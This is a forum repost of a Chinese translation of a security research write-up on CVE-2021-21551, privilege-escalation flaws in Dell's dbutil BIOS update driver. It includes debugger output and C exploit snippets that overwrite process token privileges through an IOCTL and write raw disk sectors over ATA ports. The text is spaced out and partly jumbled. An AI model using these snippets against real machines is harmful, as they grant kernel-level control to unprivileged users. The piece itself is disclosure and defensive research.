搜索

[29010] 2021-06-15_【安全研究】CVE-2021-21551-由于多个BIOS驱动程序权限提升缺陷，数亿台戴尔计算机面临风险

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2021-06-15_【安全研究】CVE-2021-21551-由于多个BIOS驱动程序权限提升缺陷，数亿台戴尔计算机面临风险 【 安 全 研 究 】 C V E - 2 0 2 1 - 2 1 5 5 1 -   由 于 多 个   B I O S   驱 动 程 序 权 限 提 升 缺 陷 ， 数 亿 台 戴 尔 计 算 机 面 临 风 险 O t s 安 全   2 0 2 1 - 0 6 - 1 5 点 击 上 方 蓝 字 “ O t s 安 全 ” 一 起 玩 耍 执 行 摘 要 执 行 摘 要 S e n t i n e l L a b s   在 戴 尔 的 固 件 更 新 驱 动 程 序 中 发 现 了 五 个 影 响 戴 尔 台 式 机 、 笔 记 本 电 脑 、 笔 记 本 电 脑 和 平 板 电 脑 的 严 重 缺 陷 。 攻 击 者 可 能 会 利 用 这 些 漏 洞 在 本 地 升 级 到 内 核 模 式 权 限 。 自   2 0 0 9   年 以 来 ， 戴 尔 已 在 全 球 发 布 了 数 亿 台   W i n d o w s   设 备 ， 其 中 包 含 易 受 攻 击 的 驱 动 程 序 。 S e n t i n e l L a b s   的 调 查 结 果 已 于   2 0 2 0   年   1 2   月   1   日 主 动 报 告 给 戴 尔 ， 并 被 跟 踪 为   C V E - 2 0 2 1 - 2 1 5 5 1 ， 标 记 为   C V S S   评 分   8 . 8 。 戴 尔 已 向 其 客 户 发 布 了 安 全 更 新 以 解 决 此 漏 洞 。 目 前 ， S e n t i n e l O n e   尚 未 发 现 野 外 滥 用 的 证 据 。 介 绍 介 绍 几 个 月 前 ， 我 开 始 调 查 固 件 更 新 驱 动 程 序 版 本   2 . 3   (   d b u t i l _ 2 _ 3 . s y s )   模 块 的 安 全 状 况 ， 该 模 块 似 乎 至 少 从   2 0 0 9   年 就 开 始 使 用 。 今 天 ， 固 件 更 新 驱 动 程 序 组 件 ， 它 负 责 通 过 戴 尔 固 件 更 新 D e l l   B i o s   U t i l i t y   预 装 在 大 多 数 运 行   W i n d o w s   的 戴 尔 机 器 上 ， 以 及 已 更 新 的 全 新 安 装 的   W i n d o w s   机 器 上 。 数 亿 台 戴 尔 设 备 定 期 为 消 费 者 和 企 业 系 统 推 送 更 新 。 由 于   P r o c e s s   H a c k e r ， 驱 动 程 序 引 起 了 我 的 注 意 ， 它 有 一 个 很 棒 的 功 能 ， 每 次 创 建 或 删 除 服 务 时 都 会 弹 出 通 知 消 息 ： 这 导 致 发 现 了   1 2   年 未 公 开 的 五 个 高 度 严 重 的 错 误 。 D e l l   软 件 中 的 这 些 多 个 高 严 重 性 漏 洞 可 能 允 许 攻 击 者 将 权 限 从 非 管 理 员 用 户 升 级 到 内 核 模 式 权 限 。 多 年 来 ， 戴 尔 发 布 了   B I O S   更 新 实 用 程 序 ， 其 中 包 含 适 用 于 全 球 数 亿 台 计 算 机 （ 包 括 台 式 机 、 笔 记 本 电 脑 、 笔 记 本 电 脑 和 平 板 电 脑 ） 的 易 受 攻 击 的 驱 动 程 序 。 戴 尔 指 定 了 一 个   C V E   来 覆 盖 固 件 更 新 驱 动 程 序 中 的 所 有 缺 陷 ， 但 这 个 单 个   C V E   可 以 分 解 为 以 下 五 个 单 独 的 缺 陷 ： C V E - 2 0 2 1 - 2 1 5 5 1 ： 本 地 特 权 提 升   # 1   –   内 存 损 坏 C V E - 2 0 2 1 - 2 1 5 5 1 ： 本 地 特 权 提 升   # 2   –   内 存 损 坏
C V E - 2 0 2 1 - 2 1 5 5 1 ： 本 地 特 权 提 升   # 3   –   缺 乏 输 入 验 证 C V E - 2 0 2 1 - 2 1 5 5 1 ： 本 地 特 权 提 升   # 4   –   缺 乏 输 入 验 证 C V E - 2 0 2 1 - 2 1 5 5 1 ： 拒 绝 服 务   -   代 码 逻 辑 问 题 在 今 天 的 帖 子 中 ， 我 将 描 述 该 驱 动 程 序 的 一 些 一 般 问 题 。 但 是 ， 为 了 让 戴 尔 客 户 有 机 会 修 复 此 漏 洞 ， 我 们 将 在   2 0 2 1   年   6   月   1   日 之 前 拒 绝 分 享 我 们 的 概 念 证 明 。 该 概 念 证 明 将 演 示 第 一 个 由 内 存 损 坏 问 题 引 起 的 本 地   E O P 。 技 术 细 节 技 术 细 节 固 件 更 新 驱 动 程 序 的 第 一 个 也 是 最 直 接 的 问 题 是 因 为 它 接 受   I O C T L （ 输 入 / 输 出 控 制 ） 请 求 而 没 有 任 何   A C L   要 求 。 这 意 味 着 它 可 以 被 非 特 权 用 户 调 用 ： 允 许 任 何 进 程 与 您 的 驱 动 程 序 通 信 通 常 是 一 种 不 好 的 做 法 ， 因 为 驱 动 程 序 以 最 高 权 限 运 行 ； 因 此 ， 某 些   I O C T L   功 能 可 能 会 被 “ 设 计 ” 滥 用 。 固 件 更 新 驱 动 程 序 通 过 I R P _ M J _ D E V I C E _ C O N T R O L 公 开 许 多 功 能 。 最 明 显 的 漏 洞 利 用 为 您 提 供 了 一 个 非 常 强 大 的 原 语 。 通 过 ， 可 以 完 全 控 制 传 递 给   的 参 数 ， 从 而 允 许 任 意 读 / 写 漏 洞 ： 2 :   k d >   ! d e v o b j   f f f f a e 0 7 7 f b 4 7 8 2 0 D e v i c e   o b j e c t   ( f f f f a e 0 7 7 f b 4 7 8 2 0 )   i s   f o r :   D B U t i l _ 2 _ 3   D r i v e r d b u t i l   D r i v e r O b j e c t   f f f f a e 0 7 8 2 d b c e 3 0 C u r r e n t   I r p   0 0 0 0 0 0 0 0   R e f C o u n t   1   T y p e   0 0 0 0 9 b 0 c   F l a g s   0 0 0 0 0 0 4 8 S e c u r i t y D e s c r i p t o r   f f f f d 7 0 b d b 4 f 4 1 6 0   D e v E x t   f f f f a e 0 7 7 f b 4 7 9 7 0   D e v O b j E x t   f f f f a e 0 7 7 f b 4 7 a 1 0 E x t e n s i o n F l a g s   ( 0 x 0 0 0 0 0 8 0 0 )     D O E _ D E F A U L T _ S D _ P R E S E N T C h a r a c t e r i s t i c s   ( 0 0 0 0 0 0 0 0 0 0 ) D e v i c e   q u e u e   i s   n o t   b u s y . 2 :   k d >   ! s d   f f f f d 7 0 b d b 4 f 4 1 6 0   0 x 1 [ t r u n c a t e d ] - > D a c l         :   - > A c e [ 0 ] :   - > A c e T y p e :   A C C E S S _ A L L O W E D _ A C E _ T Y P E - > D a c l         :   - > A c e [ 0 ] :   - > A c e F l a g s :   0 x 0 - > D a c l         :   - > A c e [ 0 ] :   - > A c e S i z e :   0 x 1 4 - > D a c l         :   - > A c e [ 0 ] :   - > M a s k   :   0 x 0 0 1 2 0 1 b f - > D a c l         :   - > A c e [ 0 ] :   - > S I D :   S - 1 - 1 - 0   ( W e l l   K n o w n   G r o u p :   l o c a l h o s t E v e r y o n e ) [ t r u n c a t e d ] I O C T L   0 x 9 B 0 C 1 E C 8 m e m m o v e
针 对 此 漏 洞 的 经 典 利 用 技 术 是 覆 盖 我 们 要 提 升 其 特 权 的 进 程 内 的   T o k e n   特 权 成 员 中 的 和 值 ： 这 可 以 很 简 单 地 触 发 和 利 用 ： P r e s e n t E n a b l e d E P R O C E S S 1 :   k d >   d t   n t ! _ S E P _ T O K E N _ P R I V I L E G E S       + 0 x 0 0 0   P r e s e n t                     :   U i n t 8 B       + 0 x 0 0 8   E n a b l e d                     :   U i n t 8 B       + 0 x 0 1 0   E n a b l e d B y D e f a u l t   :   U i n t 8 B s t r u c t   i o c t l _ i n p u t _ p a r a m s   { u i n t 6 4 _ t   p a d d i n g 1 ; u i n t 6 4 _ t   a d d r e s s ; u i n t 6 4 _ t   p a d d i n g 2 ; u i n t 6 4 _ t   v a l u e _ t o _ w r i t e ; } ; s t a t i c   c o n s t e x p r   u i n t 6 4 _ t   M A S K _ T O _ W R I T E   =   M A X U L O N G L O N G ; D W O R D   b y t e s R e t u r n e d   =   0 ; i o c t l _ i n p u t _ p a r a m s   p r i v i l e g e _ p r e s e n t _ p a r a m s {   0   } ; p r i v i l e g e _ p r e s e n t _ p a r a m s . a d d r e s s   =   p r e s e n t A d d r e s s ; p r i v i l e g e _ p r e s e n t _ p a r a m s . v a l u e _ t o _ w r i t e   =   M A S K _ T O _ W R I T E ; D e v i c e I o C o n t r o l ( h D e v i c e ,   E X P L O I T A B L E _ R W _ C O N T R O L _ C O D E ,   & p r i v i l e g e _ p r e s e n t _ p a r a m s , s i z e o f ( p r i v i l e g e _ p r e s e n t _ p a r a m s ) ,   & p r i v i l e g e _ p r e s e n t _ p a r a m s ,   s i z e o f ( p r i v i l e g e _ p r e s e n t _ p a r a m s ) ,   & b y t e s R e t u r n e d ,   N U L L ) ; i o c t l _ i n p u t _ p a r a m s   p r i v i l e g e _ e n a b l e d _ p a r a m s {   0   } ; p r i v i l e g e _ e n a b l e d _ p a r a m s . a d d r e s s   =   e n a b l e d A d d r e s s ; p r i v i l e g e _ e n a b l e d _ p a r a m s . v a l u e _ t o _ w r i t e   =   M A S K _ T O _ W R I T E ; D e v i c e I o C o n t r o l ( h D e v i c e ,   E X P L O I T A B L E _ R W _ C O N T R O L _ C O D E ,   & p r i v i l e g e _ e n a b l e d _ p a r a m s ,
此 驱 动 程 序 中 另 一 个 有 趣 的 漏 洞 是 可 以 在 内 核 模 式 下 使 用 任 意 操 作 数 （ L P E   # 3   和   L P E   # 4 ） 运 行   I / O   ( I N / O U T )   指 令 。 这 不 太 容 易 利 用 ， 可 能 需 要 使 用 各 种 创 造 性 技 术 来 实 现 特 权 提 升 。 由 于 I O P L （ I / O 权 限 级 别 ） 等 于 C P L （ 当 前 权 限 级 别 ） ， 显 然 可 以 与 H D D 和 G P U 等 外 围 设 备 进 行 交 互 ， 直 接 对 磁 盘 进 行 读 / 写 或 调 用 D M A 操 作 。 例 如 ， 我 们 可 以 与   A T A   端 口   I O   通 信 以 直 接 写 入 磁 盘 ， 然 后 覆 盖 由 特 权 进 程 加 载 的 二 进 制 文 件 。 以 下 代 码 说 明 了 使 用   A T A   端 口   I O   的 直 接 读 / 写 ， 并 展 示 了 如 何 调 用 这 些   I O C T L （ I N / O U T   包 装 器 被 抽 象 化 ） ： 直 接 写 入 硬 盘 而 不 为 该 磁 盘 写 入 创 建   I R P   基 本 上 绕 过 了 操 作 系 统 中 的 所 有 安 全 机 制 ， 并 允 许 攻 击 者 写 入 磁 盘 上 的 任 何 扇 区 。 例 如 ， 以 下 是 L e a r n O S 存 储 库 中 的 代 码 ， 它 利 用   I N / O U T   指 令 直 接 写 入   H D D ： 有 趣 的 是 ， 与   I O C T L   处 理 程 序 错 误 无 关 ， 驱 动 程 序 文 件 本 身 位 于   中 ， 这 本 身 也 是 一 个 错 误 ， 并 为 其 他 问 题 打 开 了 大 门 。 利 用 此 漏 洞 的 经 典 方 法 是 将 任 何   B Y O V D （ 自 带 易 受 攻 击 的 驱 动 程 序 ） 转 换 为 特 权 提 升 漏 洞 ， 因 为 加 s i z e o f ( p r i v i l e g e _ e n a b l e d _ p a r a m s ) ,   & p r i v i l e g e _ e n a b l e d _ p a r a m s ,   s i z e o f ( p r i v i l e g e _ e n a b l e d _ p a r a m s ) ,   & b y t e s R e t u r n e d ,   N U L L ) ; v o i d   p o r t _ b y t e _ o u t ( u n s i g n e d   s h o r t   p o r t ,   u n s i g n e d   c h a r   p a y l o a d )   { u n s i g n e d   c h a r   d a t a [ 1 6 ]   =   {   0   } ;     * ( ( u n s i g n e d   l o n g   * ) ( ( u n s i g n e d   c h a r   * ) d a t a ) )   =   p o r t ;     * ( ( u n s i g n e d   c h a r   * ) ( ( u n s i g n e d   c h a r   * ) d a t a   +   4 ) )   =   p a y l o a d ;     b R e s u l t   =   D e v i c e I o C o n t r o l ( h D e v i c e ,   I O C T L _ B Y T E _ O U T ,   d a t a ,   s i z e o f ( d a t a ) ,   d a t a ,   s i z e o f ( d a t a ) ,   & j u n k ,   N U L L ) ; i f   ( ! b R e s u l t )   { p r i n t f ( " e r r o r   i n   p o r t _ b y t e _ o u t :   % x r n " ,   G e t L a s t E r r o r ( ) ) ;     } } u n s i g n e d   c h a r   p o r t _ b y t e _ i n ( u n s i g n e d   s h o r t   p o r t )   { u n s i g n e d   c h a r   d a t a [ 1 6 ]   =   {   0   } ;     * ( ( u n s i g n e d   l o n g   * ) ( ( u n s i g n e d   c h a r   * ) d a t a ) )   =   p o r t ;     b R e s u l t   =   D e v i c e I o C o n t r o l ( h D e v i c e ,   I O C T L _ B Y T E _ I N ,   d a t a ,   s i z e o f ( d a t a ) ,   d a t a ,   s i z e o f ( d a t a ) ,   & j u n k ,   N U L L ) ; i f   ( ! b R e s u l t )   { p r i n t f ( " e r r o r   i n   p o r t _ b y t e _ i n :   % x r n " ,   G e t L a s t E r r o r ( ) ) ;     } r e t u r n   d a t a [ 0 ] ; } v o i d   w r i t e _ s e c t o r s _ A T A _ P I O ( u i n t 3 2 _ t   L B A ,   u i n t 8 _ t   s e c t o r _ c o u n t ,   u i n t 3 2 _ t *   b y t e s )   {     A T A _ w a i t _ B S Y ( ) ;     p o r t _ b y t e _ o u t ( 0 x 1 F 6 , 0 x E 0   |   ( ( L B A   > > 2 4 )   &   0 x F ) ) ;     p o r t _ b y t e _ o u t ( 0 x 1 F 2 , s e c t o r _ c o u n t ) ;     p o r t _ b y t e _ o u t ( 0 x 1 F 3 ,   ( u i n t 8 _ t )   L B A ) ;     p o r t _ b y t e _ o u t ( 0 x 1 F 4 ,   ( u i n t 8 _ t ) ( L B A   > >   8 ) ) ;     p o r t _ b y t e _ o u t ( 0 x 1 F 5 ,   ( u i n t 8 _ t ) ( L B A   > >   1 6 ) ) ;       p o r t _ b y t e _ o u t ( 0 x 1 F 7 , 0 x 3 0 ) ;   / / S e n d   t h e   w r i t e   c o m m a n d f o r   ( i n t   j   = 0 ; j < s e c t o r _ c o u n t ; j + + )   {         A T A _ w a i t _ B S Y ( ) ;         A T A _ w a i t _ D R Q ( ) ; f o r ( i n t   i = 0 ; i < 2 5 6 ; i + + )   {             p o r t _ l o n g _ o u t ( 0 x 1 F 0 ,   b y t e s [ i ] ) ;         }     } } C : W i n d o w s T e m p
载 （ 易 受 攻 击 的 ） 驱 动 程 序 意 味 着 您 需 要 管 理 员 权 限 ， 这 基 本 上 消 除 了 对 漏 洞 的 需 求 。 因 此 ， 使 用 这 一 边 指 出 的 漏 洞 实 际 上 意 味 着 您 可 以 将 任 何   B Y O V D 提 升 到 特 权 级 别 。 概 念 证 明 概 念 证 明 在 这 里 您 可 以 看 到 一 个 概 念 验 证 ， 用 于 演 示 由 于 内 存 损 坏 而 导 致 的 第 一 个   L P E ： h t t p s : / / a s s e t s . s e n t i n e l o n e . c o m / l a b s / D e l l ? l b - m o d e = o v e r l a y 影 响 影 响 高 严 重 性 缺 陷 可 能 允 许 计 算 机 上 的 任 何 用 户 ， 即 使 没 有 特 权 ， 也 可 以 提 升 他 们 的 特 权 并 在 内 核 模 式 下 运 行 代 码 。 此 类 漏 洞 的 明 显 滥 用 包 括 它 们 可 用 于 绕 过 安 全 产 品 。 有 权 访 问 组 织 网 络 的 攻 击 者 还 可 能 获 得 在 未 打 补 丁 的 戴 尔 系 统 上 执 行 代 码 的 权 限 ， 并 利 用 此 漏 洞 获 得 本 地 特 权 提 升 。 然 后 攻 击 者 可 以 利 用 其 他 技 术 转 向 更 广 泛 的 网 络 ， 例 如 横 向 移 动 。 修 复 修 复 D e l l   安 全 咨 询   D S A - 2 0 2 1 - 0 8 8 中 描 述 了 此 漏 洞 及 其 补 救 措 施 。 我 们 建 议 戴 尔 企 业 和 消 费 者 客 户 尽 快 应 用 补 丁 。 虽 然 戴 尔 正 在 发 布 补 丁 （ 一 个 固 定 的 驱 动 程 序 ） ， 请 注 意 证 书 尚 未 撤 销 （ 在 撰 写 本 文 时 ） 。 这 不 被 认 为 是 最 佳 实 践 ， 因 为 如 前 所 述 ， 易 受 攻 击 的 驱 动 程 序 仍 可 用 于   B Y O V D   攻 击 。 请 参 阅 戴 尔 安 全 公 告 以 了 解 完 整 的 修 复 详 细 信 息 。 结 论 结 论 这 些 高 严 重 性 漏 洞 自   2 0 0 9   年 以 来 一 直 存 在 于 戴 尔 设 备 中 ， 影 响 着 全 球 数 亿 台 设 备 和 数 百 万 用 户 。 与 我 之 前 披 露 的 一 个 隐 藏 了   1 2   年 的 漏 洞 类 似 ， 这 可 能 对 未 能 修 补 的 用 户 和 企 业 产 生 深 远 而 重 大 的 影 响 。 虽 然 到 目 前 为 止 ， 我 们 还 没 有 看 到 任 何 迹 象 表 明 这 些 漏 洞 已 被 广 泛 利 用 ， 目 前 有 数 亿 企 业 和 用 户 容 易 受 到 攻 击 ， 但 攻 击 者 不 可 避 免 地 会 寻 找 那 些 不 采 取 适 当 行 动 的 人 。 我 们 发 布 这 项 研 究 的 原 因 不 仅 是 为 了 帮 助 我 们 的 客 户 ， 而 且 是 为 了 帮 助 社 区 了 解 风 险 并 采 取 行 动 。 我 们 要 感 谢 戴 尔 对 我 们 的 披 露 和 修 复 漏 洞 的 方 法 。 披 露 时 间 表 披 露 时 间 表 2 0 2 0   年   1 2   月   1   日 — — 初 始 报 告   2 0 2 0   年 1 2   月   2 — — 戴 尔 回 复 了 票 号 2 0 2 0   年   1 2   月   8   日 — — 戴 尔 要 求 提 供 更 多 信 息 2 0 2 0   年   1 2   月   9   日 — — 戴 尔 要 求 提 供 更 多 信 息 2 0 2 0   年   1 2   月   2 2   日 — — 戴 尔 回 复 说 已 修 复 应 该 在 2 0 2 1   年   1 月 1 2   日 中 旬 可 用 –   戴 尔 回 复 说 由 于 产 品 是   E O L 2 0 2 1   年   1   月   2 7   日 ， 因 此 某 些 漏 洞 将 无 法 修 复 –   戴 尔 要 求 更 多 时 间 2 0 2 1   年   3   月   1 6   日   –   戴 尔 更 新 说 他 们 正 在 合 作 与   M i c r o s o f t   合 作 ， 修 复 程 序 应 在 2 0 2 1   年   3 月 2 9   日 结 束 前 提 供 –   戴 尔 要 求 更 多 时 间 ， 确 认 应 在 2 0 2 1   年 4   月 2 2   日 结 束 前 提 供 更 新 –   戴 尔 发 起 了   Z o o m   电 话 会 议 以 讨 论 博 文 发 布 2 0 2 1   年   5   月   4   日   –   向 公 众 发 布 初 步 研 究
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理